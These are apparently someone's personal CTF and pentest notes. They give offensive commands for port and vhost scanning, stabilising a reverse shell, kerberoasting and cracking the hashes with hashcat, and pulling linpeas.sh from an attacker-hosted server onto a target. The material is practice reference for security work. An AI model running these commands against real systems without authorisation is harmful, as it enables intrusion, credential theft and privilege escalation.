Notes
My own CTF and pentest notes — commands, tricks, things worth keeping
contents
Things I keep needing and keep forgetting. Unlike everything else under /refs/,
this page is mine — edit it directly and push.
Recon#
# full TCP sweep, then service detection on what came back
nmap -p- --min-rate 5000 -T4 -oA scans/all $IP
nmap -sC -sV -p $(grep -oP '^\d+(?=/tcp\s+open)' scans/all.nmap | paste -sd,) -oA scans/svc $IP
# vhost fuzzing — filter on the size of the default response
ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 0
Shells#
# stabilise a reverse shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
export TERM=xterm SHELL=/bin/bash
Active Directory#
# kerberoast with creds
netexec ldap $DC -u $USER -p $PASS --kerberoasting roast.txt
hashcat -m 13100 roast.txt /usr/share/wordlists/rockyou.txt
File transfer#
# on the attacker box
python3 -m http.server 8000
# on the target
curl -sO http://$LHOST:8000/linpeas.sh || wget http://$LHOST:8000/linpeas.sh